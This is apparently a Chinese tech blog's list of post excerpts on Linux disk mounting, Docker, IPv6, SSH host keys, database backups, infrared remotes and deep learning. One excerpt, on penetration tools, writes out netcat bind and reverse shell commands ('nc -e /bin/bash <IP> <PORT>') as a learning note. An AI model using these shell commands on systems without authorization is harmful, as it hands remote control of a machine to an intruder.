linux下硬盘挂载和分区
初始化硬盘并挂载 执行fdisk -l查看硬盘信息 执行以下命令,对 /dev/vdb 裸设备直接创建文件系统格式。mkfs -t <文件系统格式> /dev/vdb 不同文件系统支持的分区大小不同,请根据实际需求合理选择文件系统。以设置文件系统为 EXT4 为mkfs -t ext4 /dev/vdb 执行以下命令,新建挂载点。mkdir <挂载点> 以新建挂载点 /data 为例:mkdir /data 执行以下命令,将新建分区挂载至新建的挂载点。mount /dev/vdb <挂载点> 以新建挂载点 /data 为例:mount /dev/vdb /data 执行以下命令,查看挂载结果。df -TH 开机自动挂载 执行以下命令,查看文件系统的 UUID。blkid /dev/vdb 执行以下命令,使用 VI 编辑器打开 /etc/fstab 文件。vi /etc/fstab 在 /etc/fstab 文件中添加以下内容。 1<设备信息> <挂载点>...
docker网络模式
...
IPV6的基础知识
【IPv6地址自动配置的一些基础知识】IPv6地址自动配置的三种基本形式:1)Stateless无状态的。 这个过程是 “无状态的”,原因是它不依赖于外部分配机制(例如IPv6动态主机配置协议(DHCPv6))的状态或是否存在。 在没有外部或用户干预的情况下, 设备尝试配置其自身的IPv6地址 (可能是多个地址)。2)Stateful有状态的。 有状态的过程仅依赖于外部地址分配机制(例如DHCPv6)。DHCPv6服务器以类似于IPv4 DHCP操作的方式,将128bit IPv6地址分配给设备。3)Stateless+Stateful无状态和有状态组合方式。 这个过程涉及无状态地址自动配置与其他IP参数的有状态配置相结合一起使用的形式。 通常情况下, 这需要一台设备使用无状态方法自动配置一个IPv6地址,之后利用DHCPv6得到其他参数或选项,比如要在给定网络上联系哪台NTP服务器来查询时间分辨率。 无状态使用无状态地址自动配置 (SLAAC, Stateless address Autoconfiguration) 有状态使用IPv6动态主机配置协议 (DHCPv6,...
网络渗透工具
棱角社区这里面有很多方便快捷的工具和命令,帮助我们完成包括文件上传和反弹shell的操作。棱角社区 ncat命令使用他的主要作用是反弹shell。那么就会有两种方式: 正向反弹123456# 被控制端nc -lvp <PORT> -e /bin/bash# 控制端nc <IP> <PORT> 反向反弹12345# 被控制端nc -e /bin/bash <IP> <PORT># 控制端nc -lvp <PORT> 不可否认的就是一定是被控制端将bash的权限交出来。但是正向和反向取决于是我们监听还是被监听。
win下ssh连接报错被修改
删除旧ssh密钥1234567891011121314[user@hostname ~]$ ssh root@pong@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!It is also possible that a host key has just been changed.The fingerprint for the RSA key sent by the remote host...
一键安装docker
安装dockerdocker官方提供了傻瓜式安装脚本,为你做好所有工作,免去了手动安装的繁琐。 本文实测系统环境:debian11 执行以下命令 不知道从什么时候开始官方脚本已经默认也安装了 docker compose, 不需要后面的手动安装了, 因此已删除多余的内容 也就是说, 只需要执行下面的一键脚本 注意是 docker compose 而不是 docker-compose. 执行命令时候也没有这个杠 1curl -fsSL https://get.docker.com | bash -s docker 可在此命令后附带–mirror参数设置镜像源,以提高国内服务器下载docker的速度 如使用阿里云镜像: 1curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun docker主动代理 创建或修改 Docker 配置文件 在 Linux 上,Docker 配置文件通常位于...
子域名共享使用
记录最近想到的一个小知识点 问题起源在最开始我还没有购买自己的域名时,我大多时候想着白嫖,于是就逛了很多包括MyDomain,eu.org此类的网站。同时也在一些学习的qq群里看到有人共享二级域名给别人免费使用。这么一想,我突然发现。似乎是个可以免费提供出去的服务(适用场景:在一个小团队里,大家并不需要每个人都购买一个域名,而是统一的在一个team.com的一级域名下,在将每个二级域名例如:名字缩写+team.com这样式的。分配给每一个人,这样每个人都会有一个自己可以完全支配的域名)。 这个功能在github,jetbrain...
数据库备份及恢复
常用数据库备份策略 mysqldump工具备份(数据量小) mysqldump由于是mysql自带的备份工具,所以也是最常用的mysql数据库的备份工具。支持基于InnoDB的热备份。但由于是逻辑备份,所以速度不是很快,适合备份数据量比较小的场景。 mysqldump完全备份+二进制日志 —>实现时间点恢复 基于LVM快照备份(冷备份) 在物理备份中 ,有基于文件系统的物理备份(LVM的快照),也可以直接用tar之类的命令打包。但这些只能进行冷备份 不同的存储引擎能备份的级别也不一样,MyISAM能备份到表级别,而InnoDB不开启每表一文件的话就只能备份整个数据库。 使用percona提供的xtrabackup(推荐) 支持InnoDB的物理热备份,支持完全备份,增量备份,而且速度非常快,而且支持InnoDB引擎的数据在不同数据库迁移。...
嵌入式模拟格力空调遥控器
记录一下:在嵌入式实验中,通过实现模拟格力空调的红外信号实现了使用单片机遥控空调的效果。 红外信号传输原理红外线的通讯原理 红外光是以特定的频率脉冲形式发射,接收端收到到信号后,按照约定的协议进行解码,完成数据传输,在消费类电子产品里,脉冲频率普遍采用 30KHz 到 60KHz 这个频段,NEC协议的频率就是38KHZ。 这个以特定的频率发射其实就可以理解为点灯,不要被复杂的词汇难住了,就是控制灯的闪烁频率(亮灭),和刚学单片机完成闪光灯一样的意思,只不过是灯换了一种类型,都是灯。 接收端的原理: 接收端的芯片对这个红外光比较敏感,可以根据有没有光输出高低电平,如果发送端的闪烁频率是有规律的,接收端收到后输出的高电平和低电平也是有规律对应的,这样发送端和接收端只要约定好,那就可以做数据传输了。 红外接收原理NEC协议NEC协议是众多红外线协议中的一种(这里说的协议就是他们数据帧格式定义不一样,数据传输原理都是一样的),我们购买的外能遥控器、淘宝买的mini遥控器、电视机、投影仪几乎都是NEC协议。...
深度学习再入门
什么是深度学习深度学习是一种人工智能(AI)方法,用于教计算机以受人脑启发的方式处理数据。深度学习模型可以识别图片、文本、声音和其他数据中的复杂模式,从而生成准确的见解和预测。 深度学习的广义作用计算机视觉计算机视觉是指计算机从图像和视频中提取信息及见解的能力。计算机可以使用深度学习技术来理解图像,就像人类一样。计算机视觉具有多种应用,如下所示: 内容审核,用于从图像和视频归档中自动删除不安全或不适当的内容 面部识别,用于识别面部和多项属性,如睁开的眼睛、眼镜以及面部毛发 图像分类,用于识别品牌徽标、服装、安全装备和其他图像细节 语音识别深度学习模型可以分析人类语音,尽管说话模式、音调、语气、语言和口音不尽相同。虚拟助手(如 Amazon...